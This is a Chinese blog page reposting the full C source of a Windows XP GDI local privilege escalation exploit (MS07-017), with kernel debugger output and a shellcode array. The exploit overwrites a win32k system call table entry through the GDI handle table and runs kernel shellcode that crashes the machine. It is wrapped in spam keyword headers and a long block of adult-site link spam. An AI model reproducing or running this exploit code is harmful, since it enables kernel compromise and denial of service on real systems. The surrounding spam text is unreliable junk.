青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

elva

MS Windows GDI Local Privilege Escalation Exploit (MS07-017)

#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>

#pragma comment (lib, "user32.lib")
#pragma comment (lib, "gdi32.lib")
#pragma comment (lib, "shlwapi.lib")
#pragma comment (lib, "ntdll.lib")



/*
Here is a sploit for the GDI MS07-017 Local Privilege Escalation, presented during the last blackhat conferences
by Joel Ericksson. Modify the GdiTable of the current process and by calling good API's changean entry of the
win32k's SSDT by 0x2.

before :
lkd> dps bf998300 L 2
bf998300  bf934921 win32k!NtGdiAbortDoc
bf998304  bf94648d win32k!NtGdiAbortPath

after :
lkd> dps bf998300 L 2
bf998300  00000002
bf998304  bf94648d win32k!NtGdiAbortPath

win32k.sys bDeleteBrush (called by DeleteObject)
mov     esi, [edx] ;esi=pKernelInfo
cmp     [esi+4], ebx ; ebx=0, we need [esi+4]>0
mov     eax, [edx+0Ch]
mov     [ebp+var_8], eax
ja      short loc_BF80C1E7 ;jump if [esi+4] > 0

loc_BF80C1E7:
mov     eax, [esi+24h]  ; [esi+24] = addr to hijack (here win32k SSDT)
mov     dword ptr [eax], 2 ; !!!!!

At 0x2 we allocate memory with NtAllocateVirtualMemory and we copy our payload.

Tested on windows xp sp2 french last updates (before MS07-017)

Coded by Ivanlef0u.
http://ivanlef0u.free.fr

ref:
http://www.Mcft.com/technet/security/bulletin/MS07-017.mspx
http://research.eeye.com/html/alerts/zeroday/20061106.html
http://projects.info-pull.com/mokb/MOKB-06-11-2006.html
https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf
http://www.securityfocus.com/bid/20940/info
*/

typedef struct
{
   DWORD pKernelInfo;
   WORD  ProcessID;
   WORD  _nCount;
   WORD  nUpper;
   WORD  nType;
   DWORD pUserInfo;
} GDITableEntry;

typedef enum _SECTION_INFORMATION_CLASS {
SectionBasicInformation,
SectionImageInformation
}SECTION_INFORMATION_CLASS;

typedef struct _SECTION_BASIC_INFORMATION { // Information Class 0
PVOID BaseAddress;
ULONG Attributes;
LARGE_INTEGER Size;
}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;

extern "C" ULONG __stdcall NtQuerySection(
   IN HANDLE SectionHandle,
   IN SECTION_INFORMATION_CLASS SectionInformationClass,
   OUT PVOID SectionInformation,
   IN ULONG SectionInformationLength,
   OUT PULONG ResultLength OPTIONAL
);

extern "C" ULONG __stdcall NtAllocateVirtualMemory(
   IN HANDLE ProcessHandle,
   IN OUT PVOID *BaseAddress,
   IN ULONG ZeroBits,
   IN OUT PULONG AllocationSize,
   IN ULONG AllocationType,
   IN ULONG Protect
);

typedef LONG NTSTATUS;

#define STATUS_SUCCESS  ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

extern "C" NTSTATUS __stdcall  NtQuerySystemInformation(         
   IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
   IN OUT PVOID SystemInformation,
   IN ULONG SystemInformationLength,
   OUT PULONG ReturnLength OPTIONAL
);

extern "C" ULONG __stdcall RtlNtStatusToDosError(
  NTSTATUS Status
);


// generic kernel payload, reboot the b0x
unsigned char Shellcode[]={
0x60, //PUSHAD
0x55, //PUSH EBP

0x6A, 0x34,
0x5B,
0x64, 0x8B, 0x1B,
0x8B, 0x6B, 0x10,

0x8B, 0x45, 0x3C,
0x8B, 0x54, 0x05, 0x78,
0x03, 0xD5,
0x8B, 0x5A, 0x20,
0x03, 0xDD,
0x8B, 0x4A, 0x18,
0x49,
0x8B, 0x34, 0x8B,
0x03, 0xF5,
0x33, 0xFF,
0x33, 0xC0,
0xFC,
0xAC,
0x84, 0xC0,
0x74, 0x07,
0xC1, 0xCF, 0x0D,
0x03, 0xF8,
0xEB, 0xF4,
0x81, 0xFF, 0x1f, 0xaa ,0xf2 ,0xb9, //0xb9f2aa1f, KEBugCheck
0x75, 0xE1,
0x8B, 0x42, 0x24,
0x03, 0xC5,
0x66, 0x8B, 0x0C, 0x48,
0x8B, 0x42, 0x1C,
0x03, 0xC5,
0x8B, 0x04 ,0x88,
0x03, 0xC5,

0x33, 0xDB,
0xB3, 0xE5,
0x53,
0xFF, 0xD0,

0x5D, //POP EBP
0x61, //POPAD
0xC3 //RET
};   


ULONG GetWin32kBase()
{
   ULONG i, Count, Status, BytesRet;
   PSYSTEM_MODULE_INFORMATION pSMI;
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, 0, &BytesRet); //allocation length
   if(Status!=STATUS_INFO_LENGTH_MISMATCH)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   pSMI=(PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BytesRet);
   
   Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, BytesRet, &BytesRet);
   
   if(Status!=STATUS_SUCCESS)
      printf("Error with NtQuerySystemInformation : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
   
   /*
   The data returned to the SystemInformation buffer is a ULONG count of the number of
   handles followed immediately by an array of
   SYSTEM_MODULE_INFORMATION.
   */
   
   Count=*(PULONG)pSMI;
   pSMI=(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pSMI+4);
   
   for(i=0; i<Count; i++)
   {   
      if(StrStr((pSMI+i)->ImageName, "win32k.sys"))
         return (ULONG)(pSMI+i)->Base;
   }
   
   HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pSMI);
   
   return 0;   
}   



   
ULONG buff[500]={0};
   
int main(int argc, char* argv[])
{
   ULONG i, PID, Status, Old;
   LPVOID lpMapAddress=NULL;
   HANDLE hMapFile=(HANDLE)0x10;
   GDITableEntry *gdiTable;
   SECTION_BASIC_INFORMATION SBI;
   WORD Upr;
   ULONG Size=0x1000;
   PVOID Addr=(PVOID)0x2;
   
   printf("Windows GDI MS07-017 Local Privilege Escalation Exploit\nBy Ivanlef0u\n"
   "http://ivanlef0u.free.fr\n"
   "Be MAD!\n");
   
   //allocate memory at addresse 0x2
    Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
    if(Status)
       printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);
    else
       printf("Addr : 0x%x OKAY\n", Addr);   
   
   memcpy(Addr, Shellcode, sizeof(Shellcode));
   


    printf("win32.sys base : 0x%x\n", GetWin32kBase());
   
   ULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it's SSDT
   printf("SSDT entry : 0x%x\n", Win32kSST); //win32k!NtGdiAbortDoc
   
   
   
   HBRUSH hBr;
   hBr=CreateSolidBrush(0);

   Upr=(WORD)((DWORD)hBr>>16);
   printf("0x%x\n", Upr);

   while(!lpMapAddress)
   {
      hMapFile=(HANDLE)((ULONG)hMapFile+1);
      lpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);
   }

   if(lpMapAddress==NULL)
   {
      printf("Error with MapViewOfFile : %d\n", GetLastError());
      return 0;
   }

   Status=NtQuerySection(hMapFile, SectionBasicInformation, &SBI, sizeof(SECTION_BASIC_INFORMATION), 0);
   if (Status) //!=STATUS_SUCCESS (0)
   {
      printf("Error with NtQuerySection (SectionBasicInformation) : 0x%x\n", Status);
      return 0;
   }

   printf("Handle value : %x\nMapped address : 0x%x\nSection size : 0x%x\n\n", hMapFile, lpMapAddress, SBI.Size.QuadPart);
   gdiTable=(GDITableEntry *)lpMapAddress;
   PID=GetCurrentProcessId();
   
   for (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))
   {
      if(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) //only our GdiTable and brush
      {   

         printf("gdiTable : 0x%x\n", gdiTable);
         printf("pKernelInfo : 0x%x\n", gdiTable->pKernelInfo);
         printf("ProcessID : %d\n", gdiTable->ProcessID);
         printf("_nCount : %d\n", gdiTable->_nCount);
         printf("nUpper : 0x%x\n", gdiTable->nUpper);
         printf("nType : 0x%x\n", gdiTable->nType );
         printf("pUserInfo : 0x%x\n\n", gdiTable->pUserInfo);
         
         Old=gdiTable->pKernelInfo;
      
         gdiTable->pKernelInfo=(ULONG)buff; //crafted buff
         break;
      }
      gdiTable++;
   }

   if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());
   else
      printf("Done\n");

   printf("Buff : 0x%x\n", buff);
   memset(buff, 0x90, sizeof(buff));
   
    buff[0]=0x1; //!=0
    buff[0x24/4]=Win32kSST; //syscall to modifY
   buff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr

    if(!DeleteObject(hBr))
      printf("Error with DeleteObject : %d\n", GetLastError());   
      
   gdiTable->pKernelInfo=Old; //restore old value
   
   /*   
   lkd> uf GDI32!NtGdiAbortDoc
   GDI32!NtGdiAbortDoc:
   77f3073a b800100000      mov     eax,1000h
   77f3073f ba0003fe7f      mov     edx,offset SharedUserData!SystemCallStub (7ffe0300)
   77f30744 ff12            call    dword ptr [edx]
   77f30746 c20400          ret     4
   */

   __asm
   {
      mov eax, 0x1000
      mov edx,0x7ffe0300
      call dword ptr [edx]   
   }
   
   return 0;
}

download

posted on 2007-05-08 16:49 葉子 閱讀(798) 評論(0)  編輯 收藏 引用 所屬分類: 網絡安全

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            欧美一区二区在线视频| 亚洲第一免费播放区| 中日韩高清电影网| 欧美喷水视频| 亚洲图片欧美午夜| 亚洲午夜精品久久久久久浪潮| 欧美视频一区二区三区…| 亚洲在线视频| 性欧美大战久久久久久久免费观看| 国产精品一区一区| 久久人人爽爽爽人久久久| 老司机精品福利视频| 亚洲精品乱码久久久久久按摩观| 亚洲免费黄色| 国产日韩欧美a| 欧美高清自拍一区| 欧美视频中文字幕在线| 久久精品国产精品| 欧美国产先锋| 欧美一区二区三区四区高清| 久久久爽爽爽美女图片| 亚洲视频碰碰| 久久九九热免费视频| 99在线热播精品免费| 午夜亚洲视频| 日韩系列在线| 欧美伊人久久久久久午夜久久久久| 在线播放一区| 亚洲视频欧美视频| 亚洲国产一区在线| 亚洲午夜久久久久久尤物| 亚洲福利专区| 香蕉av777xxx色综合一区| 亚洲精品精选| 久久久国产精品一区二区三区| 亚洲视屏一区| 免费在线观看成人av| 久久激情一区| 欧美午夜精品久久久久久久| 欧美成人精品三级在线观看 | 亚洲国产小视频在线观看| 欧美日韩一区二区三区在线观看免| 久久精品国产69国产精品亚洲| 欧美日韩成人在线观看| 久久亚洲精选| 国产性色一区二区| 亚洲色图综合久久| 一本久久青青| 欧美精品三级日韩久久| 女人色偷偷aa久久天堂| 国模一区二区三区| 午夜一区二区三区不卡视频| 亚洲一级片在线看| 欧美黄色成人网| 亚洲高清在线观看| 最新国产精品拍自在线播放| 久久久亚洲午夜电影| 久久av老司机精品网站导航| 国产精品久久久久国产a级| 亚洲伦理在线免费看| 亚洲精品一区二区网址| 美日韩精品视频| 欧美~级网站不卡| 一区精品久久| 久久人人看视频| 欧美高清hd18日本| 亚洲高清三级视频| 欧美承认网站| 亚洲激情专区| 亚洲一区国产一区| 国产精品久久久久久久久果冻传媒| 一本色道久久综合亚洲精品不卡 | 国产精品久久久久久久久久妞妞 | 久久精品系列| 国语自产在线不卡| 久久精品夜色噜噜亚洲aⅴ| 久久久久国内| 亚洲国产另类久久精品| 欧美成人免费一级人片100| 亚洲黄色片网站| 亚洲一区视频在线| 国产精品综合久久久| 亚洲欧美999| 老司机精品久久| 亚洲美女在线国产| 国产精品高清免费在线观看| 亚洲一区二区三区三| 久久日韩精品| 99精品国产一区二区青青牛奶| 欧美人与禽猛交乱配视频| 亚洲少妇在线| 久久综合伊人| 亚洲午夜电影在线观看| 国产日韩欧美一二三区| 欧美成人官网二区| 亚洲在线视频观看| 免费影视亚洲| 亚洲综合首页| 亚洲国产日韩欧美在线99| 欧美日韩欧美一区二区| 欧美在线视频观看免费网站| 亚洲国产精品一区二区尤物区| 亚洲一区在线看| 在线观看国产精品淫| 欧美日韩直播| 久久综合图片| 西西人体一区二区| 亚洲国产影院| 久久夜色精品国产噜噜av| 一区二区三区欧美日韩| 一区在线播放| 国产精品视频大全| 欧美精选午夜久久久乱码6080| 欧美在线国产| 中日韩高清电影网| 亚洲国产成人porn| 久久综合网hezyo| 亚洲欧美在线视频观看| 日韩视频免费看| 影音先锋欧美精品| 国产精品乱子久久久久| 欧美精品免费在线| 久久综合久久久久88| 欧美一级视频免费在线观看| 99视频精品| 亚洲精品在线电影| 欧美激情第三页| 久热精品视频在线观看| 欧美一区二区观看视频| 亚洲一区二区三区成人在线视频精品| 在线精品观看| 精品51国产黑色丝袜高跟鞋| 国产日韩专区| 国产一区二区三区久久 | 国产一区二区高清| 国产精品成人播放| 欧美色欧美亚洲高清在线视频| 欧美1区2区3区| 你懂的国产精品| 欧美成人高清| 欧美成在线观看| 欧美高清hd18日本| 欧美精品成人一区二区在线观看| 免费精品视频| 欧美精品一卡二卡| 欧美激情综合色| 欧美四级伦理在线| 欧美色综合天天久久综合精品| 欧美日韩影院| 国产精品一级久久久| 国产精品自拍网站| 国产专区精品视频| 狠狠色丁香久久婷婷综合_中| 国产亚洲永久域名| 怡红院精品视频| 亚洲经典在线| 中国成人在线视频| 亚洲男人的天堂在线aⅴ视频| 午夜影院日韩| 久久亚洲影音av资源网| 欧美成人午夜| 日韩视频一区二区三区在线播放免费观看 | 久久精品国产亚洲一区二区三区 | 美女诱惑一区| 欧美伦理在线观看| 国产精品久久午夜| 国产亚洲欧美日韩美女| 亚洲国产天堂久久综合| 亚洲午夜日本在线观看| 欧美专区一区二区三区| 嫩草国产精品入口| 日韩视频免费观看高清完整版| 亚洲午夜激情| 久久综合99re88久久爱| 欧美日韩国产首页在线观看| 国产精品一区二区三区成人| 精品999日本| 亚洲一区二区三区精品在线观看| 久久av老司机精品网站导航| 欧美大片在线观看一区| 亚洲视频二区| 欧美3dxxxxhd| 国产午夜精品久久久| 亚洲欧洲三级| 久久精品成人欧美大片古装| 亚洲韩国青草视频| 午夜免费在线观看精品视频| 毛片一区二区三区| 国产亚洲高清视频| 亚洲一区二区三区色| 免费一级欧美片在线观看| 亚洲欧洲日夜超级视频| 久久精品日产第一区二区| 欧美四级在线观看| 亚洲激情女人| 美女任你摸久久| 亚洲欧美日韩国产综合在线| 欧美精品在线观看| 亚洲黄色影院| 蜜桃av一区二区三区|